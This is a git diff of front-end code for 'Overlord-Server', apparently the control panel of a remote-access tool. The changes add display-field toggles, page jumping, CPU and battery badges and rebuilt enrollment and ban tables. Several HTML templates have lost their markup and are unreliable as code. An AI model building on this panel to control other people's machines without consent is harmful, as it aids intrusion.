@@ -3942,3 +4360,32 @@ body.sb-ready.nav-hidden #nav-reveal-btn {
#nav-reveal-btn:hover::after {
opacity: 1;
}
+
+/* Keep dashboard controls below the app navigation while scrolling. */
+#top-nav,
+html.nav-pre-sidebar #top-nav,
+body.sb-ready #top-nav {
+ z-index: 200 !important;
+}
+
+#nav-reveal-btn,
+#sb-mobile-bar {
+ z-index: 210 !important;
+}
+
+.dashboard-toolbar {
+ z-index: 20 !important;
+}
+
+.dashboard-menu-panel,
+.nav-dd-menu {
+ z-index: 40 !important;
+}
+
+/* No browser/theme focus boxes anywhere in the app UI. */
+:where(a, button, input, select, textarea, summary, [tabindex]):focus,
+:where(a, button, input, select, textarea, summary, [tabindex]):focus-visible,
+:where(.input-row, #search-shell, #country-picker-panel .p-2 > div):focus-within {
+ outline: none !important;
+ box-shadow: none !important;
+}
diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index eefb347..5fafd7d 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -5,6 +5,7 @@ import { openMenu, closeMenu, openModal, wireModalClose, menu } from "./ui.js";
import {
registerRenderer,
loadWithOptions,
+ renderCachedClients,
startAutoRefresh,
sendCommand,
requestPreview,
@@ -16,14 +17,18 @@ import { ThumbnailLoader } from "./thumbnail-loader.js";
const grid = document.getElementById("grid");
const totalPill = document.getElementById("total-pill");
const pageLabel = document.getElementById("page-label");
+const pageTotal = document.getElementById("page-total");
const prevBtn = document.getElementById("prev");
const nextBtn = document.getElementById("next");
+const pageJumpForm = document.getElementById("page-jump-form");
+const pageJumpInput = document.getElementById("page-jump-input");
const searchInput = document.getElementById("search");
const sortSelect = document.getElementById("sort");
const filterStatusSelect = document.getElementById("filter-status");
const filterOsSelect = document.getElementById("filter-os");
const filterGroupSelect = document.getElementById("filter-group");
const showOfflineToggle = document.getElementById("toggle-offline");
+const displayFieldsMenu = document.getElementById("display-fields-menu");
const selectAllBtn = document.getElementById("select-all");
const clearSelectionBtn = document.getElementById("clear-selection");
const logoutBtn = document.getElementById("logout-btn");
@@ -50,10 +55,38 @@ const PREF_SORT_KEY = "overlord_sort";
const PREF_FILTER_OS_KEY = "overlord_filter_os";
const PREF_FILTER_COUNTRY_KEY = "overlord_filter_country";
const PREF_FILTER_GROUP_KEY = "overlord_filter_group";
+const PREF_DISPLAY_FIELDS_KEY = "overlord_display_fields";
+const DEFAULT_DISPLAY_FIELDS = {
+ user: true,
+ ip: true,
+ hwid: false,
+ system: true,
+ version: true,
+ monitors: true,
+ group: true,
+ hardware: true,
+ battery: true,
+};
+let displayFields = { ...DEFAULT_DISPLAY_FIELDS };
let currentUser = null;
let contextCard = null;
let availableOsList = new Set();
+let rendererInitialized = false;
+let lastKnownTotalPages = 1;
+
+window.setDashboardPageBounds = (currentPage, totalPages) => {
+ lastKnownTotalPages = Math.max(1, Number(totalPages) || 1);
+ const safeCurrentPage = Math.max(1, Number(currentPage) || 1);
+ if (pageLabel) pageLabel.textContent = "Page";
+ if (pageTotal) pageTotal.textContent = String(lastKnownTotalPages);
+ if (!pageJumpInput) return;
+ pageJumpInput.max = String(lastKnownTotalPages);
+ pageJumpInput.style.width = `${Math.min(8, Math.max(2, String(lastKnownTotalPages).length, String(safeCurrentPage).length)) + 2}ch`;
+ if (document.activeElement !== pageJumpInput) {
+ pageJumpInput.value = String(safeCurrentPage);
+ }
+};
function setServerVersionLabel(version) {
if (!serverVersionText) return;
@@ -667,13 +700,69 @@ function setLayout(layout) {
applyLayoutToggleUI(next);
if (rendererSetLayout) rendererSetLayout(next);
state.lastDigest = "";
- loadWithOptions({ force: true, reorder: true });
+ if (!renderCachedClients({ reorder: true, force: true })) {
+ loadWithOptions({ force: true, reorder: true });
+ }
}
document.querySelectorAll("#layout-toggle .layout-toggle-btn").forEach((btn) => {
btn.addEventListener("click", () => setLayout(btn.dataset.layout));
});
+function loadDisplayFields() {
+ try {
+ const saved = JSON.parse(localStorage.getItem(PREF_DISPLAY_FIELDS_KEY) || "null");
+ if (saved && typeof saved === "object") {
+ displayFields = { ...DEFAULT_DISPLAY_FIELDS, ...saved };
+ }
+ } catch {
+ displayFields = { ...DEFAULT_DISPLAY_FIELDS };
+ }
+}
+
+function syncDisplayFieldInputs() {
+ displayFieldsMenu?.querySelectorAll("input[data-field]").forEach((input) => {
+ input.checked = displayFields[input.dataset.field] !== false;
+ });
+}
+
+function saveDisplayFields() {
+ localStorage.setItem(PREF_DISPLAY_FIELDS_KEY, JSON.stringify(displayFields));
+}
+
+function rerenderDisplayFields() {
+ state.lastDigest = "";
+ if (!renderCachedClients({ reorder: true, force: true })) {
+ loadWithOptions({ force: true, reorder: true });
+ }
+}
+
+loadDisplayFields();
+syncDisplayFieldInputs();
+
+displayFieldsMenu?.addEventListener("change", (e) => {
+ const input = e.target.closest("input[data-field]");
+ if (!input) return;
+ displayFields[input.dataset.field] = input.checked;
+ saveDisplayFields();
+ rerenderDisplayFields();
+});
+
+document.addEventListener("click", (e) => {
+ document.querySelectorAll(".dashboard-menu[open]").forEach((details) => {
+ if (!details.contains(e.target)) details.removeAttribute("open");
+ });
+});
+
+document.querySelectorAll(".dashboard-menu").forEach((details) => {
+ details.addEventListener("toggle", () => {
+ if (!details.open) return;
+ document.querySelectorAll(".dashboard-menu[open]").forEach((other) => {
+ if (other !== details) other.removeAttribute("open");
+ });
+ });
+});
+
let dashboardThumbnailLoader = null;
async function isDashboardThumbnailEnabled() {
@@ -729,6 +818,8 @@ async function setupDashboardThumbnailLoader() {
}
function initializeRenderer() {
+ if (rendererInitialized) return;
+ rendererInitialized = true;
const savedLayout = localStorage.getItem(PREF_LAYOUT_KEY) || "rows";
if (grid) grid.dataset.layout = ["rows", "table", "cards"].includes(savedLayout) ? savedLayout : "rows";
applyLayoutToggleUI(grid?.dataset.layout || "rows");
@@ -750,6 +841,7 @@ function initializeRenderer() {
requestThumbnail,
pingClient: (id) => sendCommand(id, "ping"),
userRole: currentUser?.role,
+ getDisplayFields: () => displayFields,
});
rendererSetLayout = rSetLayout;
registerRenderer(renderMerge);
@@ -758,7 +850,7 @@ function initializeRenderer() {
loadWithOptions();
startAutoRefresh();
- if (typeof anime !== "undefined") {
+ if (typeof anime !== "undefined" && !document.documentElement.classList.contains("large-client-set")) {
anime
.timeline({ easing: "easeOutQuad" })
.add({
@@ -874,7 +966,7 @@ import("./country-picker.js").then(({ initCountryPicker }) => {
}
const savedSort = localStorage.getItem(PREF_SORT_KEY);
- const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc"];
+ const validSorts = ["stable", "last_seen_desc", "host_asc", "ping_asc", "ping_desc", "country_asc", "country_desc", "group_asc", "group_desc", "admin_first"];
if (savedSort && validSorts.includes(savedSort)) {
state.sort = savedSort;
if (sortSelect) sortSelect.value = savedSort;
@@ -1448,6 +1540,17 @@ nextBtn?.addEventListener("click", () => {
loadWithOptions({ force: true, reorder: true });
});
+pageJumpForm?.addEventListener("submit", (e) => {
+ e.preventDefault();
+ const requested = Math.trunc(Number(pageJumpInput?.value || 1));
+ const targetPage = Math.min(lastKnownTotalPages, Math.max(1, Number.isFinite(requested) ? requested : 1));
+ if (pageJumpInput) pageJumpInput.value = String(targetPage);
+ if (targetPage === state.page) return;
+ state.page = targetPage;
+ state.lastDigest = "";
+ loadWithOptions({ force: true, reorder: true });
+});
+
window.addEventListener("click", (e) => {
const target = e.target;
if (target.closest && target.closest(".command-btn")) return;
diff --git a/Overlord-Server/public/assets/purgatory-ui.js b/Overlord-Server/public/assets/purgatory-ui.js
index 0851908..85efae0 100644
--- a/Overlord-Server/public/assets/purgatory-ui.js
+++ b/Overlord-Server/public/assets/purgatory-ui.js
@@ -1,7 +1,7 @@
-import { TabulatorFull as Tabulator } from "/vendor/tabulator/tabulator_esm.min.js";
-
-const enrollmentTableEl = document.getElementById("enrollment-table");
+const body = document.getElementById("enrollment-body");
+const loadingRow = document.getElementById("enrollment-loading");
const emptyEl = document.getElementById("enrollment-empty");
+const selectAllEl = document.getElementById("select-all");
const bulkApproveBtn = document.getElementById("bulk-approve-btn");
const bulkDenyBtn = document.getElementById("bulk-deny-btn");
const statPending = document.getElementById("stat-pending");
@@ -10,9 +10,9 @@ const statDenied = document.getElementById("stat-denied");
const statBannedIps = document.getElementById("stat-banned-ips");
const searchInput = document.getElementById("search-input");
const bannedIpsSection = document.getElementById("banned-ips-section");
-const bannedIpsTableEl = document.getElementById("banned-ips-table");
+const bannedIpsBody = document.getElementById("banned-ips-body");
const bannedIpsEmpty = document.getElementById("banned-ips-empty");
-const clientsTable = document.getElementById("clients-table-wrap");
+const clientsTable = document.getElementById("enrollment-table")?.closest(".bg-slate-900\\/50");
const addBanBtn = document.getElementById("add-ban-btn");
const manualBanForm = document.getElementById("manual-ban-form");
const banIpInput = document.getElementById("ban-ip-input");
@@ -44,10 +44,8 @@ const denyReasonModalBackdrop = document.getElementById("deny-reason-modal-backd
let currentFilter = "pending";
let searchQuery = "";
let clients = [];
-let enrollmentTable = null;
-let bannedIpsTable = null;
-const selectedIds = new Set();
const expandedCells = new Set(); // tracks "clientId:field" keys
+let lastEnrollmentDigest = "";
const SUSPICIOUS_FLAG_LABELS = {
hwid_flood: "HWID Flood (40+ same hardware ID)",
@@ -103,8 +101,9 @@ async function loadStats() {
}
async function loadClients() {
+ const hasRows = body.querySelector("tr[data-id]");
+ loadingRow.classList.toggle("hidden", !!hasRows);
emptyEl.classList.add("hidden");
- if (enrollmentTable) enrollmentTable.replaceData([]);
const fetchFilter = currentFilter === "suspicious" ? "all" : currentFilter;
try {
@@ -136,26 +135,84 @@ async function loadClients() {
})
: base;
+ loadingRow.classList.add("hidden");
+
const showBulkActions = (currentFilter === "pending" || currentFilter === "suspicious") &&
filtered.some((c) => (c.enrollmentStatus || "pending") === "pending");
approveAllBtn.classList.toggle("hidden", !showBulkActions);
denyAllBtn.classList.toggle("hidden", !showBulkActions);
- const visibleIds = new Set(filtered.map((c) => c.id));
- for (const id of selectedIds) {
- if (!visibleIds.has(id)) selectedIds.delete(id);
- }
-
if (filtered.length === 0) {
+ lastEnrollmentDigest = `empty:${currentFilter}:${q}`;
+ body.querySelectorAll("tr:not(#enrollment-loading)").forEach((r) => r.remove());
emptyEl.classList.remove("hidden");
updateBulkButtons();
return;
}
- if (enrollmentTable) enrollmentTable.replaceData(filtered);
+ const nextDigest = tableDigest(filtered, [
+ "id",
+ "host",
+ "user",
+ "os",
+ "cpu",
+ "gpu",
+ "ram",
+ "ip",
+ "country",
+ "keyFingerprint",
+ "lastSeen",
+ "enrollmentStatus",
+ "denyReason",
+ "suspiciousFlags",
+ ]);
+ if (nextDigest === lastEnrollmentDigest) {
+ updateBulkButtons();
+ return;
+ }
+ lastEnrollmentDigest = nextDigest;
+
+ const selectedBeforeRender = new Set(getSelectedIds());
+ body.querySelectorAll("tr:not(#enrollment-loading)").forEach((r) => r.remove());
+
+ for (const c of filtered) {
+ const tr = document.createElement("tr");
+ tr.className = "hover:bg-slate-800/40 transition-colors";
+ tr.dataset.id = c.id;
+
+ const statusPill = statusBadgeWithReason(c.enrollmentStatus || "pending", c.denyReason);
+ const fp = c.keyFingerprint ? c.keyFingerprint.substring(0, 16) + "..." : "-";
+ const lastSeen = c.lastSeen ? timeAgo(c.lastSeen) : "-";
+
+ tr.innerHTML = `
+
|
+ ${esc(c.host || c.id)}${suspiciousBadges(c.suspiciousFlags)} |
+ ${esc(c.user || "-")} |
+ ${esc(c.os || "-")} |
+ ${expandableCell(c.id, "cpu", c.cpu)} |
+ ${c.gpu ? dedupeGpu(c.gpu) : esc("-")} |
+ ${esc(c.ram || "-")} |
+ ${esc(c.ip || "-")} |
+ ${esc(c.country || "-")} |
+ ${esc(fp)} |
+ ${lastSeen} |
+ ${statusPill} |
+ ${actionButtons(c)} |
+ `;
+ tr.classList.add("cursor-pointer");
+ body.appendChild(tr);
+ }
updateBulkButtons();
}
+function tableDigest(items, fields) {
+ return JSON.stringify(items.map((item) => {
+ const row = {};
+ for (const field of fields) row[field] = item[field] ?? null;
+ return row;
+ }));
+}
+
function statusBadge(status) {
const map = {
pending:
@@ -232,129 +289,6 @@ function expandableCell(clientId, field, value) {
``;
}
-function selectionHeaderFormatter() {
- const rows = enrollmentTable?.getData() || [];
- const allChecked = rows.length > 0 && rows.every((row) => selectedIds.has(row.id));
- return ``;
-}
-
-function rowSelectionFormatter(cell) {
- const id = cell.getRow().getData().id;
- return ``;
-}
-
-function initEnrollmentTable() {
- if (!enrollmentTableEl) return;
- enrollmentTable = new Tabulator(enrollmentTableEl, {
- data: [],
- height: "32rem",
- layout: "fitDataStretch",
- placeholder: "No clients in this category.",
- index: "id",
- virtualDom: true,
- columns: [
- {
- title: "",
- field: "id",
- width: 54,
- hozAlign: "center",
- headerSort: false,
- headerFormatter: selectionHeaderFormatter,
- formatter: rowSelectionFormatter,
- },
- {
- title: "Host",
- field: "host",
- width: 190,
- formatter: (cell) => {
- const c = cell.getRow().getData();
- return `${esc(c.host || c.id)}${suspiciousBadges(c.suspiciousFlags)}`;
- },
- },
- { title: "User", field: "user", width: 140, formatter: (cell) => esc(cell.getValue() || "-") },
- { title: "OS", field: "os", width: 120, formatter: (cell) => esc(cell.getValue() || "-") },
- {
- title: "CPU",
- field: "cpu",
- width: 210,
- formatter: (cell) => {
- const c = cell.getRow().getData();
- return expandableCell(c.id, "cpu", c.cpu);
- },
- },
- {
- title: "GPU",
- field: "gpu",
- width: 220,
- formatter: (cell) => cell.getValue() ? dedupeGpu(cell.getValue()) : esc("-"),
- },
- { title: "RAM", field: "ram", width: 100, formatter: (cell) => esc(cell.getValue() || "-") },
- { title: "IP", field: "ip", width: 140, formatter: (cell) => esc(cell.getValue() || "-") },
- { title: "Country", field: "country", width: 120, formatter: (cell) => esc(cell.getValue() || "-") },
- {
- title: "Key Fingerprint",
- field: "keyFingerprint",
- width: 170,
- formatter: (cell) => `${esc(cell.getValue() ? cell.getValue().substring(0, 16) + "..." : "-")}`,
- },
- {
- title: "Last Seen",
- field: "lastSeen",
- width: 120,
- sorter: "number",
- formatter: (cell) => `${cell.getValue() ? timeAgo(cell.getValue()) : "-"}`,
- },
- {
- title: "Status",
- field: "enrollmentStatus",
- width: 150,
- formatter: (cell) => {
- const c = cell.getRow().getData();
- return statusBadgeWithReason(c.enrollmentStatus || "pending", c.denyReason);
- },
- },
- {
- title: "Actions",
- field: "id",
- width: 300,
- headerSort: false,
- hozAlign: "right",
- formatter: (cell) => `${actionButtons(cell.getRow().getData())}
`,
- },
- ],
- });
-}
-
-function initBannedIpsTable() {
- if (!bannedIpsTableEl) return;
- bannedIpsTable = new Tabulator(bannedIpsTableEl, {
- data: [],
- height: "24rem",
- layout: "fitColumns",
- placeholder: "No banned IPs.",
- index: "ip",
- columns: [
- { title: "IP Address", field: "ip", width: 180, formatter: (cell) => `${esc(cell.getValue())}` },
- { title: "Reason", field: "reason", formatter: (cell) => esc(cell.getValue() || "-") },
- {
- title: "Banned At",
- field: "createdAt",
- width: 150,
- sorter: "number",
- formatter: (cell) => `${cell.getValue() ? timeAgo(cell.getValue()) : "-"}`,
- },
- {
- title: "Actions",
- field: "ip",
- width: 120,
- headerSort: false,
- hozAlign: "right",
- formatter: (cell) => ``,
- },
- ],
- });
-}
-
function timeAgo(ts) {
const diff = Date.now() - ts;
if (diff < 60000) return "just now";
@@ -401,24 +335,26 @@ async function bulkAction(action) {
} catch (e) {
if (window.showToast) window.showToast(`Failed: ${e.message}`, "error");
}
- selectedIds.clear();
+ selectAllEl.checked = false;
await Promise.all([loadClients(), loadStats()]);
}
function getSelectedIds() {
- return [...selectedIds];
+ return [...document.querySelectorAll(".row-check:checked")].map(
+ (el) => el.dataset.id,
+ );
}
function updateBulkButtons() {
- const visibleIds = new Set((enrollmentTable?.getData() || []).map((row) => row.id));
- for (const id of selectedIds) {
- if (!visibleIds.has(id)) selectedIds.delete(id);
- }
- const count = selectedIds.size;
+ const rowChecks = [...document.querySelectorAll(".row-check")];
+ const selected = getSelectedIds();
+ const count = selected.length;
bulkApproveBtn.classList.toggle("hidden", count === 0);
bulkDenyBtn.classList.toggle("hidden", count === 0);
bulkBanBtn.classList.toggle("hidden", count === 0);
- enrollmentTable?.redraw(true);
+ if (selectAllEl) {
+ selectAllEl.checked = rowChecks.length > 0 && rowChecks.every((cb) => cb.checked);
+ }
}
// ── Tab switching ──────────────────────────────────────────────────
@@ -454,7 +390,7 @@ document.querySelectorAll(".enrollment-tab").forEach((tab) => {
});
// ── Table delegation ───────────────────────────────────────────────
-enrollmentTableEl?.addEventListener("click", (e) => {
+body.addEventListener("click", (e) => {
// Expandable CPU/GPU cells
const expander = e.target.closest(".hw-expand");
if (expander) {
@@ -469,6 +405,19 @@ enrollmentTableEl?.addEventListener("click", (e) => {
return;
}
+ const row = e.target.closest("tr[data-id]");
+ if (
+ row &&
+ !e.target.closest("button, input, a, select, textarea")
+ ) {
+ const checkbox = row.querySelector(".row-check");
+ if (checkbox) {
+ checkbox.checked = !checkbox.checked;
+ updateBulkButtons();
+ }
+ return;
+ }
+
const btn = e.target.closest("button");
if (!btn) return;
const id = btn.dataset.id;
@@ -479,24 +428,11 @@ enrollmentTableEl?.addEventListener("click", (e) => {
else if (btn.classList.contains("act-ban-ip")) banClientIp(id);
});
-enrollmentTableEl?.addEventListener("change", (e) => {
- const selectAll = e.target.closest(".enrollment-select-all");
- if (selectAll) {
- const rows = enrollmentTable?.getData() || [];
- for (const row of rows) {
- if (selectAll.checked) selectedIds.add(row.id);
- else selectedIds.delete(row.id);
- }
- updateBulkButtons();
- return;
- }
-
- const checkbox = e.target.closest(".row-check");
- if (!checkbox) return;
- const id = checkbox.dataset.id;
- if (!id) return;
- if (checkbox.checked) selectedIds.add(id);
- else selectedIds.delete(id);
+body.addEventListener("change", () => updateBulkButtons());
+selectAllEl.addEventListener("change", () => {
+ document.querySelectorAll(".row-check").forEach((cb) => {
+ cb.checked = selectAllEl.checked;
+ });
updateBulkButtons();
});
@@ -575,8 +511,8 @@ async function banClientIp(clientId) {
}
async function loadBannedIps() {
+ bannedIpsBody.innerHTML = "";
bannedIpsEmpty.classList.add("hidden");
- if (bannedIpsTable) bannedIpsTable.replaceData([]);
try {
const data = await api("/api/enrollment/banned-ips");
@@ -587,13 +523,27 @@ async function loadBannedIps() {
return;
}
- if (bannedIpsTable) bannedIpsTable.replaceData(items);
+ for (const entry of items) {
+ const tr = document.createElement("tr");
+ tr.className = "hover:bg-slate-800/40 transition-colors";
+ tr.innerHTML = `
+ ${esc(entry.ip)} |
+ ${esc(entry.reason || "-")} |
+ ${entry.createdAt ? timeAgo(entry.createdAt) : "-"} |
+
+
+ |
+ `;
+ bannedIpsBody.appendChild(tr);
+ }
} catch {
bannedIpsEmpty.classList.remove("hidden");
}
}
-bannedIpsTableEl?.addEventListener("click", async (e) => {
+bannedIpsBody.addEventListener("click", async (e) => {
const btn = e.target.closest("button");
if (!btn) return;
if (btn.classList.contains("act-unban")) {
@@ -773,8 +723,6 @@ denyReasonModalConfirm.addEventListener("click", async () => {
});
// ── Init ───────────────────────────────────────────────────────────
-initEnrollmentTable();
-initBannedIpsTable();
loadSettings();
loadStats();
loadClients();
diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js
index d5aea30..c3056bf 100644
--- a/Overlord-Server/public/assets/render.js
+++ b/Overlord-Server/public/assets/render.js
@@ -150,10 +150,64 @@ function shortenCpu(raw = "") {
.slice(0, 38);
}
+function cpuBrand(raw = "") {
+ const text = String(raw).toLowerCase();
+ const appleMatch = text.match(/\bapple\s+(m\d+(?:\s*(?:pro|max|ultra))?)\b/i);
+ if (appleMatch) {
+ return { vendor: "apple", chip: appleMatch[1].replace(/\s+/g, " ").toUpperCase() };
+ }
+ const intelMatch = text.match(/\b(?:intel(?:\(r\))?\s+)?(?:core\(tm\)\s+)?(i[3579]-\d{3,5}[a-z0-9]*)\b/i);
+ if (text.includes("intel") || intelMatch) {
+ return { vendor: "intel", chip: intelMatch ? intelMatch[1].toUpperCase() : "CPU" };
+ }
+ const amdMatch = text.match(/\b(?:amd\s+)?(?:ryzen\s+)?([3579]\s+\d{4}[a-z0-9]*)\b/i);
+ if (text.includes("amd") || text.includes("ryzen")) {
+ return { vendor: "amd", chip: amdMatch ? amdMatch[1].replace(/\s+/g, " ").toUpperCase() : "RYZEN" };
+ }
+ return null;
+}
+
+function cpuBadgeHtml(raw = "", { compact = false } = {}) {
+ const brand = cpuBrand(raw);
+ const label = shortenCpu(raw) || "CPU";
+ if (!brand) {
+ return `${escapeHtml(label)}`;
+ }
+ if (brand.vendor === "apple") {
+ return `${escapeHtml(brand.chip)}`;
+ }
+ if (brand.vendor === "intel") {
+ return `intel${compact ? "" : `${escapeHtml(brand.chip)}`}`;
+ }
+ return `AMD${compact ? "" : `${escapeHtml(brand.chip)}`}`;
+}
+
+function batteryInfo(client) {
+ const n = Number(client.batteryPercent);
+ if (!Number.isFinite(n) || n <= 0 || n > 100) return null;
+ return { percent: Math.round(n), charging: client.batteryCharging === true };
+}
+
+function batteryHtml(client, { compact = false } = {}) {
+ const battery = batteryInfo(client);
+ if (!battery) return "";
+ const tone = battery.percent < 20 ? "is-low" : battery.percent <= 35 ? "is-mid" : "is-good";
+ const title = `Battery ${battery.percent}%${battery.charging ? " charging" : ""}`;
+ return `
+
+ ${battery.percent}%${battery.charging ? ` ` : ""}
+ ${compact ? "" : `${battery.charging ? "Charging" : "Battery"}`}
+ `;
+}
+
function shortOsLabel(osRaw = "") {
+ const badge = osBadge(osRaw || "");
+ if (badge?.label && badge.label !== "Linux" && badge.label !== "Windows") return badge.label;
const o = String(osRaw).toLowerCase();
- if (o.includes("windows 11")) return "Win 11";
- if (o.includes("windows 10")) return "Win 10";
+ const winVersion = o.match(/\bwindows\s+(10|11)\b/i);
+ if (winVersion) return `W${winVersion[1]}`;
+ if (o.includes("windows 11")) return "W11";
+ if (o.includes("windows 10")) return "W10";
if (o.includes("windows")) return "Win";
if (o.includes("ubuntu")) return "Ubuntu";
if (o.includes("debian")) return "Debian";
@@ -175,15 +229,31 @@ export function createRenderer({
requestThumbnail,
pingClient,
userRole,
+ getDisplayFields,
}) {
const isViewer = userRole === "viewer";
- const MAX_ANIMATED_CARDS = 120;
+ const LARGE_CLIENT_THRESHOLD = 50_000;
+ const MAX_ANIMATED_CARDS = 0;
const INSERT_BATCH_SIZE = 40;
const TOUCH_LONG_PRESS_MS = 520;
const TOUCH_MOVE_CANCEL_PX = 10;
let renderToken = 0;
let gridDelegated = false;
let currentLayout = (grid?.dataset.layout || "rows").toLowerCase();
+ let tableScaffoldDigest = "";
+ let currentDisplayDigest = "";
+
+ function displayFields() {
+ return typeof getDisplayFields === "function" ? getDisplayFields() || {} : {};
+ }
+
+ function showField(name) {
+ return displayFields()[name] !== false;
+ }
+
+ function displayDigest() {
+ return JSON.stringify(displayFields());
+ }
function getCardContainer() {
if (currentLayout === "table") {
@@ -194,7 +264,10 @@ export function createRenderer({
function ensureLayoutScaffold() {
if (currentLayout === "table") {
- if (grid.querySelector("table.clients-table")) return;
+ const prefs = displayFields();
+ const scaffoldDigest = displayDigest();
+ if (grid.querySelector("table.clients-table") && tableScaffoldDigest === scaffoldDigest) return;
+ tableScaffoldDigest = scaffoldDigest;
grid.innerHTML = `
@@ -205,9 +278,9 @@ export function createRenderer({
| Client |
Status |
Last seen |
- System |
+ ${prefs.system !== false ? `System | ` : ""}
Ping |
- Group |
+ ${prefs.group !== false ? `Group | ` : ""}
Actions |
@@ -215,6 +288,7 @@ export function createRenderer({
`;
} else {
+ tableScaffoldDigest = "";
const t = grid.querySelector("table.clients-table");
if (t) t.remove();
}
@@ -453,14 +527,16 @@ export function createRenderer({
}
}
if (!needsReorder) return;
+ const byId = new Map();
+ cards.forEach((card) => byId.set(card.dataset.id, card));
items.forEach((client) => {
- const card = container.querySelector(`${ROW_SELECTOR}[data-id="${client.id}"]`);
+ const card = byId.get(client.id);
if (card) container.appendChild(card);
});
}
function cardDigest(c) {
- return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
+ return `${currentDisplayDigest}|${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.batteryPercent}|${c.batteryCharging}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
}
function cardThumbDigest(c) {
@@ -482,31 +558,40 @@ export function createRenderer({
function renderMerge(data, options = {}) {
setupGridDelegation();
+ currentDisplayDigest = displayDigest();
ensureLayoutScaffold();
const container = getCardContainer();
const { reorder = false } = options;
totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`;
const totalPages = Math.max(1, Math.ceil(data.total / data.pageSize));
- pageLabel.textContent = `Page ${data.page} of ${totalPages}`;
+ if (pageLabel) pageLabel.textContent = "Page";
+ if (typeof window.setDashboardPageBounds === "function") {
+ window.setDashboardPageBounds(data.page, totalPages);
+ }
prevBtnState(data.page, totalPages);
const items = data.items || [];
const seen = new Set();
const newClients = [];
const renderId = ++renderToken;
+ const largeClientSet = (Number(data.total) || 0) >= LARGE_CLIENT_THRESHOLD;
+ document.documentElement.classList.toggle("large-client-set", largeClientSet);
const prefersReducedMotion =
typeof window !== "undefined" &&
window.matchMedia &&
window.matchMedia("(prefers-reduced-motion: reduce)").matches;
- const hadCards = container.querySelectorAll(ROW_SELECTOR).length > 0;
+ const existingCards = container.querySelectorAll(ROW_SELECTOR);
+ const hadCards = existingCards.length > 0;
+ const existingById = new Map();
+ existingCards.forEach((card) => existingById.set(card.dataset.id, card));
const uninstallingIds = window.__uninstallingClientIds;
items.forEach((client) => {
seen.add(client.id);
if (uninstallingIds && uninstallingIds.has(client.id)) return;
- const existing = container.querySelector(`${ROW_SELECTOR}[data-id="${client.id}"]`);
+ const existing = existingById.get(client.id);
if (existing) {
if (existing.classList.contains("card-uninstalling")) return;
const digest = cardDigest(client);
@@ -527,7 +612,7 @@ export function createRenderer({
newClients.push(client);
});
- Array.from(container.querySelectorAll(ROW_SELECTOR))
+ Array.from(existingCards)
.filter((el) => !seen.has(el.dataset.id) && !el.classList.contains("card-uninstalling"))
.forEach((el) => el.remove());
@@ -537,7 +622,7 @@ export function createRenderer({
if (newClients.length === 0) return;
- const allowAnimation = !hadCards && !prefersReducedMotion && items.length <= 1000 && currentLayout !== "table";
+ const allowAnimation = MAX_ANIMATED_CARDS > 0 && !largeClientSet && !hadCards && !prefersReducedMotion && items.length <= 1000 && currentLayout !== "table";
const animateLimit = Math.min(newClients.length, MAX_ANIMATED_CARDS);
let idx = 0;
@@ -674,17 +759,21 @@ export function createRenderer({
const displayName = nickname || client.host || deviceId;
const userLine = client.user || client.host || deviceId;
const hasTagNote = customTag.length > 0 && customTagNote.length > 0;
- const hasHwInfo = !!(client.cpu || client.gpu || client.ram);
+ const showHardware = showField("hardware");
+ const showBattery = showField("battery");
+ const cpuHtml = client.cpu ? cpuBadgeHtml(client.cpu) : "—";
+ const batteryIndicator = showBattery ? batteryHtml(client) : "";
const verLatest = String(client.version || "").startsWith("2.0.");
const metaParts = [
- ` ${escapeHtml(shortOsLabel(client.os))}`,
- `${escapeHtml(arch.label)}`,
- ` ${escapeHtml(ver.label)}`,
- ` ${client.monitors || 1}`,
+ showField("system") ? ` ${escapeHtml(shortOsLabel(client.os))}` : "",
+ showField("system") ? `${escapeHtml(arch.label)}` : "",
+ showField("version") ? ` ${escapeHtml(ver.label)}` : "",
+ showField("monitors") ? ` ${client.monitors || 1}` : "",
nickname && client.host && nickname !== client.host ? ` ${escapeHtml(client.host)}` : "",
- client.ip ? ` ${escapeHtml(client.ip)}` : "",
- hwid ? ` ${escapeHtml(hwid)}` : "",
+ showField("ip") && client.ip ? ` ${escapeHtml(client.ip)}` : "",
+ showField("hwid") && hwid ? ` ${escapeHtml(hwid)}` : "",
+ batteryIndicator,
].filter(Boolean);
const meta = metaParts.join(metaSeparator());
@@ -708,8 +797,8 @@ export function createRenderer({
${client.elevation === "trustedinstaller" ? `` : ""}
${client.notificationsMuted ? `` : ""}
- ${escapeHtml(userLine)}
- ${meta}
+ ${showField("user") ? ` ${escapeHtml(userLine)}
` : ""}
+ ${meta ? `${meta}
` : ""}
${customTag ? `` : ""}
${hasTagNote ? `${escapeHtml(customTagNote)}
` : ""}
@@ -717,7 +806,7 @@ export function createRenderer({
${formatAgo(client.lastSeen)}
${formatPing(client.pingMs)}
- ${groupPillHtml(client) || `—`}
+ ${showField("group") ? `${groupPillHtml(client) || `—`}
` : ""}
${isViewer ? "" : `
`}
@@ -728,13 +817,14 @@ export function createRenderer({
ID${escapeHtml(deviceId)}
-
Hardware ID${escapeHtml(hwid || "—")}
-
IP${escapeHtml(client.ip || "—")}
-
OS${escapeHtml(client.os || "Unknown")} ${escapeHtml(arch.label)}
-
CPU${escapeHtml(client.cpu || "—")}
-
